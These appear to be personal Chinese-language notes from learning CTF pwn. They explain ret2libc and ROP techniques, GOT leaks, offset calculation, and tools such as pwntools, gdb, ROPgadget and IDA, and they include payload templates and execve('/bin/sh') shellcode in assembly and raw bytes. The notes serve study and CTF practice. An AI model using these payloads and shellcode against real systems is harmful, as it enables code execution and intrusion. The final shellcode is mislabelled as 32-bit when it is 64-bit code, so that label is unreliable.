主要记录pwn学习过程中的一些东西。

python 内置函数

1
2
3
4
5
6
7
int([x[,base]]) 转换字符串或者数值为整。参数为字符串的时候,必须制定进制base,默认进制是10,可以取[2,36]或者0。为0的时候,进制信息从字符串中获取。Int的返回为10进制的整数。输入为浮点数时,会进行靠近0截断处理。类似的内置函数有float,long等。int('0x1AA',16)
bin():把十进制整形转换成二进制字符
hex():把10进制转整形换成16进制
oct():把十进制转换成八进制字符
chr():把一个整形转换成ASCII码表中对应的单个字符 ,该参数必须是在范围[0..255]。把一个整形转换成ASCII码表中对应的单个字符
unichr(i)是chr的unicode版本,例如,unichr(97)返回字符串u'a'。参数的取值范围取决于Python如何配置 - 这可能是UCS2 [0..0xFFFF]或UCS4 [0..0x10FFFF]。
ord():和chr相反,把ASCII码表中的字符转换成对应的整形

解题步骤

思路

1
2
3
4
5
6
7
大概思路,checksec查看架构和保护,然后看后门函数
如果有system和/bin/sh:就想办法直接溢出或者其他方法直接去覆盖下来
如果没有/bin/sh,需要通过 gets 函数写到一个可读可写的地方,通常会找 bss 段,然后去执行 /bin/sh
如果没有system和/bin/sh,需要使用libc中的system和/bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的libc,从而知道其他函数的地址

获得libc的某个函数的地址通常采用的方法是:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址,所以这类题目需要两次payload
程序执行后,plt表里是got表的地址,got表是函数的真实地址

wp

1
2
3
4
5
6
1.通过第一次溢出,通过将puts的PLT地址放在返回处,泄露出执行过的函数的GOT地址(实际上puts的就可以),本地跟远程泄露的地址有可能不太一样
2.将puts的返回地址设置为_start函数(main()函数是用户代码的入口,是对用户而言;而_start()函数是系统代码的入口,是程序正真的入口),方便再次用来执行system('/bin/sh')
3.通过泄露的函数的GOT地址,计算出libc中system和/bin/sh的地址
4.再次通过溢出将返回地址覆盖成泄露出来的system的地址getshell

_system函数:在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。这四个字符可以任意。

知识点

系统调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数
应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX
2、把函数参数存入其它通用寄存器
3、触发 0x80 号中断(int 0x80)

那么我们如果希望通过系统调用来获取shell就需要把系统调用的参数放入各个寄存器,然后执行int 0x80就可以了
如果说想通过系统调用执行的是:execve("/bin/sh",NULL,NULL)(32位程序)
查看 execve 的系统调用号:cat /usr/arm-linux-gnueabihf/include/asm/unistd.h | grep execve
然后将得到的结果转换成16进制。

eax寄存器存放系统调用号,ebx寄存器存放想要执行的/bin/sh的地址,还有两个参数设置为 0
所以现在需要做的就是让:
eax=0xb #execve的系统调用号
ebx=/bin/sh 的地址 #要执行/bin/sh的地址
ecx=0 #置为0
edx=0 #置为0
只需要让栈顶的值是0xb然后可以通过pop eax达到目的

动态链接

1
2
3
4
5
6
7
8
9
10
11
12
PLT:存放额外代码的表,称为程序链接表(超链接本身)
GOT:用来存放外部的函数地址的数据表,称为全局偏移表(超链接的内容)
延时绑定只有在动态库函数在被调用时,才会地址解析和重定向
一般ret2libc需要构造两次payload

payload = b'a'*(0x9+0x4)+p32(puts_plt)+p32(main_add)+p32(puts_got)
# 通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址

程序执行后,plt表里是got表的地址,got表是函数的真实地址
程序还未执行时,got表里还是plt表的地址,需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样
针对于地址中间位进行随机,最低的12位并不会发生改变,也就是我们需要获取到远程环境的函数的真实地址
进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell

寄存器

EIP:存放房前执行的下一条指令的偏移地址,
ESP:存放当前栈帧的栈顶偏移地址,存储函数调用栈的栈顶地址
EBP:存放当前栈帧的栈底偏移地址,存储当前函数状态的基地址
RAX:通用寄存器,存放返回值
EIP寄存器始终指向下一条将要执行的指令,也就是说如果我们可以通过某种方式修改EIP寄存器的值,

checksec

1
2
3
4
5
Arch:     i386-32-little			#程序架构信息
RELRO: Partial RELRO #GOT 改写
Stack: No canary found #canary 栈溢出保护
NX: NX enabled #栈中数据没有执行权限
PIE: No PIE (0x8048000) #位置无关可执行文件,no PIE可以使用ROP

解题方法

计算栈空间大小

1
2
方法一:直接使用IDA静态调试某个空间,查看定义给的大小,然后32位程序加4,64位程序加8
方法二:使用gdb将程序run起来之后,输入大量字符,函数会外带一个地址,转码之后就是空间大小

上图为32位程序的计算方式。

1
大量数据溢出之后,程序暂停后使用’x/x $rsp‘,查看RSP寄存器的地址信息和内容,将结果后面8位用于转换

上图为64位计算方式

计算偏移

下断点之后能看到
    $eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
    $ebx   : 0x00000000
    $ecx   : 0xffffffff
    $edx   : 0xf7faf870  →  0x00000000
    $esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
    $ebp   : 0xffffcdc8  →  0x00000000
    $esi   : 0xf7fae000  →  0x001b1db0
    $edi   : 0xf7fae000  →  0x001b1db0
    $eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>
    在里面esp为0xffffcd40,      ebp为0xffffcdc8,         同时s相对于esp的索引为esp+0x1c(hex(0xffffcd5c-0xffffcd40)):
得到结论
s的地址为 0xffffcd5c:ESP中间的那个数
s相对于 ebp 的偏移为 0x6c:ebp第一个数 减掉 esp中间的那个数(hex(0xffffcdc8-0xffffcd5c))
s相对于返回地址的偏移为 0x6c+4:加4因为是32的程序,64位+8
(hex(0xffffcdc8-(0xffffcd40+(0xffffcd5c-0xffffcd40))))
esp为    0xffffced0
ebp为    0xffffcf58
s的地址为   0xffffcefe
s相对于ebp的偏移为
s相对于返回地址的偏移为
#jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80

确定libc版本

1
2
3
4
5
6
7
8
9
10
11
12
13
工具:LibcSearcher或者ldd,本地跟远程泄露的地址有可能不太一样
ldd 文件名:查看libc地址

方法一:在线寻找,gdb调试程序,run之后,ctrl+c中断程序,使用p(print)查看函数地址,再次run,对比system和read函数地址,通过低三位可以判断版本,并得到其他函数偏移。https://libc.blukat.me/

方法二:使用LibcSearcher(需要提前安装)
puts_real_addr= u32(sh.recv(4)) #获取到put的执行后的地址
libc=LibcSearcher('puts',puts_real_addr) #puts是函数名,puts_real_addr是函数地址,定位libc
libcbase=puts_real_addr-libc.dump('puts') #基址=函数中的puts地址-libc中的puts地址
systyem_addr=libcbase+libc.dump('system') #system偏移,基址+system在libc中的地址
bin_sh_sddr=libcbase+libc.dump('str_bin_sh') #/bin/sh偏移,基址+字符串/bin/sh在libc中的地址

通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址

ROP(返回导向编程)

1
2
3
4
5
6
7
8
栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。
ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

命令

ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ROPgadget
使用ROPgadget搜索操作寄存器的函数地址:ROPgadget --binary level2_x64 --only "pop|ret"
寻找控制eax的gadgets:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'
寻找控制寄存器的地址:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'|grep 'ebx'
获得/bin/sh字符串对应的地址:ROPgadget --binary rop --string '/bin/sh'
获得int 0x80的地址:ROPgadget --binary rop --only 'int'

eax寄存器存放系统调用号,ebx寄存器存放想要执行的/bin/sh的地址,还有两个参数设置为 0
所以现在需要做的就是让:
eax=0xb #execve的系统调用号
ebx=/bin/sh 的地址 #要执行/bin/sh的地址
ecx=0 #置为0
edx=0 #置为0
只需要让栈顶的值是0xb然后可以通过pop eax达到目的

ropper --file ret2text --search 'pop rdi'
ropper --file ret2text --chain execveropper 或者ropper --file ret2text --chain execve

上图说明:

1
2
3
payload= b'a'*112+p32(pop_eax)+p32(0xb)+p32(pop_else)+p32(0)+p32(0)+p32(bin_sh_add)+p32(int_addr)
#填满栈空间+返回地址+0xb会被放入eax中+返回地址+0会被放到edx+0会被放到ecx+bin/sh放到ebx+int 80中断
#填满栈空间,返回地址,0xb会被放入eax中,返回地址,0会被放到edx,0会被放到ecx,bin/sh放到ebx,int 80中断
1
2
payload= b'a'*112+p32(sys_addr)+p32(0x1234)+p32(bin_sh)
#栈空间112,返回地址system,system返回地址可以任意,\bin\sh的地址

1
2
3
payload=b'a'*112+p32(get_addr)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr)
#栈空间,返回地址,get返回地址,get写入的地方,任意地址即可
sys返回地址,sys参数

工具大概用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
cat
查看execve的系统调用号:cat /usr/include/asm/unistd_32.h | grep execve

ROPgadget
使用ROPgadget搜索操作寄存器的函数地址:ROPgadget --binary level2_x64 --only "pop|ret"
寻找控制eax的gadgets:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'
寻找控制寄存器的地址:ROPgadget --binary ret2syscall --only "pop|ret" |grep 'eax'|grep 'ebx'
获得/bin/sh字符串对应的地址:ROPgadget --binary rop --string '/bin/sh'
获得int 0x80的地址:ROPgadget --binary rop --only 'int'

gdb:
加载程序:gdb ./程序名称
运行程序:r、run
下断点:b *地址、b *$rebase(0x933)、b 函数名称、break 函数名称
获取函数在内存中的位置:print 函数名称、p 函数名称、p system
查找字符串:find '/bin/sh'
查看断点信息:info b或者info break
删除断点:delete 序号
单步调试:ni
下一步:n
跳出函数:fini
查看栈的状态:stack 数字、stack 40
gdb调试转储:gdb level1 core
查看地址里面的信息:x/x $寄存器名称

cyclic:
生成若干数量的字符:cyclic 150
转码:cyclic -l 0x62616164

objdump:
查看反汇编代码:objdump -d 文件名

readelf:
查看文件中重定向信息:readelf -r 文件名

工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
IDA
pwntools
pwndbg
checksec 文件名:查看保护机制
one_gadget
readelf
gdb
vmmap可以看权限
objdump
LibcSearcher 确定libc版本
ldd 确定libc版本https://libc.blukat.me/
ropper
ROPgadget搜索操作寄存器的函数地址
cyclic

PWNTOOLS

pwntools文章

context(os='linux',arch='amd64',log_level='debug')#操作系统,系统位数
content=1#控制远程或者本地

#remote:主要用作远程和服务器交互,返回一个类似连接对象
#p64:将数字转为字符串(p64/u64打包/解包   p32/u32)
#send:发送数据,通过连接对象调用
#interactive:反弹shell

#sh.sendlineafter('',)#遇到xxx语句停下来,发送某个数据
#sh.recvuntil('OK,this time we will get a shell.\n')  # 接收到xxx
#sh.sendlineafter("Input:\n",payload)#遇到xxx语句停下来,发送某个数据

puts_addr= u32(sh.recv(4))        #获取put函数的地址
elf = ELF('stack1')                   #读取整个文件,并且分析文件
elf.plt["system"]                #system在plt表的位置,需要使用hex()转换hex(elf.plt["system"])转成16进制
elf.got['puts']                    #puts函数在pot表中的位置,需要使用hex()转成16进制
elf.symbols['main']                #定位文件main函数的地址
elf.search(b"/bin/bash")        #搜寻某个字符串的位置,需要使用next(elf.search(b"/bin/bash"))
next(elf.search(b"/bin/bash"))  #找到包含‘/bin/bash’(字符串,汇编代码或某个数值的地址)
#通过libc泄露某个函数地址的方法:通过got泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数地址

gdb.attach(p)#跟gdb交互
shellcraft.sh()        #生成shellcode, 汇编语言
asm(shellcraft.sh())#将shellcode代码组装成字节,十六进制形式

playlod=b'a'*(0x6c-0x68)+p64(1853186401)#溢出#buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西
payload=payload+ b'a'*(112-len(payload))+p32(buf2_addr)#溢出需要112个字符,可以填充满

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Tab键 切回到汇编窗口
空格键 反汇编窗口切换文本跟图形
ESC 退到上一个操作地址
G 搜索g地址或者符号
N 重命名
分号键 注释
ALT+M 添加标签
CTRL+M 列出所有标签
CTRL+S 二进制段的开始地址结束地址
C code光标地址出内容解析成代码
P 在函数开始处使用P,从当前地址处解析成函数
D data解析成数据
A ASCII解析成ASCII
U unDefined解析成未定义的内容
X 交叉引用
F5 看反汇编后的C代码
ALT+T 搜索文本
ALT+B 搜索16进制,搜索opcode如ELF文件头
CTRL+ALT+B 打开断点列表
F7 单步步入即单步进入函数
F8 单步不过即单步跨过函数
CTRL+F7 运行到函数返回地址
F4 运行到光标处即运行到选中位置
F2 下断点/取消断点
F9 运行程序
Shift+F12 查看string

ROPgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
安装
$ pip install ropgadget
$ ROPgadget
用法:ROPgadget.py [-h] [-v] [-c] [ --binary <binary>] [--opcode <opcodes>]
[ --string <字符串>] [--memstr <字符串>] [--depth <nbyte>]
[ --only <key>] [--filter <key>] [--range <start-end>]
[ --badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>]
[ --re <re>] [--offset <hexaddr>] [--ropchain] [--thumb]
[ --console] [--norop] [--nojop] [--nosys] [--multibr]
[ --all] [--dump]

可选参数:
-h, --help 显示此帮助信息并退出
-v, --version 显示 ROPgadget 的版本
-c, --checkUpdate 检查是否有新版本可用
--binary <binary> 指定要分析的二进制文件名
--opcode <opcodes> 在可执行段中搜索操作码
--string <string> 在可读段中搜索字符串
--memstr <string> 搜索所有可读段中的每个字节
--depth <nbyte> 搜索引擎的深度(默认 10)
--only <key> 只显示具体说明
--filter <key> 抑制特定指令
--range <start-end> 在两个地址之间搜索 (0x...-0x...)
--badbytes <byte> 拒绝小工具地址中的特定字节
--rawArch <arch> 为原始文件指定一个拱形
--rawMode <mode> 指定原始文件的模式
--re <re> 正则表达式
--offset <hexaddr> 指定小工具地址的偏移量
--ropchain 启用 ROP 链生成
--thumb 为搜索引擎使用拇指模式(仅限 ARM)
--console 为搜索引擎使用交互式控制台
--norop 禁用 ROP 搜索引擎
--nojop 禁用 JOP 搜索引擎
--callPreceded 仅显示调用前的小工具(仅限 x86)
--nosys 禁用 SYS 搜索引擎
--multibr 启用多个分支小工具
--all 禁止删除重复的小工具
--dump 输出小工具字节

生成shellcode

32位python 官方版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

32位精简版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#########################################################################
## 一般函数调用参数是压入栈中,这里系统调用使用寄存器
## 需要对如下几个寄存器进行设置,可以比对官方的实现
ebx = /bin/sh ## 第一个参数
ecx = 0 ## 第二个参数
edx = 0 ## 第三个参数
eax = 0xb ## 0xb为系统调用号,即sys_execve()系统函数对应的序号
int 0x80 ## 执行系统中断
#########################################################################
## 更精炼的汇编代码
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,32位中需要两行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。
push 0x68732f # 0x68732f --> hs/ little endian
push 0x6e69622f # 0x6e69622f --> nib/ little endian
mov ebx, esp
xor edx, edx
xor ecx, ecx
mov al, 0xb # al为eax的低8位
int 0x80
## 汇编之后字节长度为20字节

64位shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

64位精简版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
######################################################################
## 64位linux下,默认前6个参数都存入寄存器,所以这里没的说也使用寄存器
## 寄存器存储参数顺序,参数从左到右:rdi, rsi, rdx, rcx, r8, r9

rdi = /bin/sh ## 第一个参数
rsi = 0 ## 第二个参数
rdx = 0 ## 第三个参数
rax = 0x3b ## 64位下的系统调用号
syscall ## 64位使用 syscall
#####################################################################
## 精炼版本
##
## 这里说明一下,很多博客都会用"/bin//sh"或者官方的"/bin///sh"
## 作为第一个参数,即添加/线来填充空白字符。这里我将"/bin/sh"
## 放在最前面,就不存在汇编代码中间存在空字符截断的问题;另外
## "/bin/sh"是7个字符,64位中需要一行指令,末尾未填充的空字符
## 刚好作为字符串结尾标志符,也就不需要额外压一个空字符入栈。

mov rbx, 0x68732f6e69622f # 0x68732f6e69622f --> hs/nib/ little endian
push rbx
push rsp
pop rdi
xor esi, esi # rsi低32位
xor edx, edx # rdx低32位
push 0x3b
pop rax
syscall
## 汇编之后字节长度为22字节

32位的shellcode

1
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05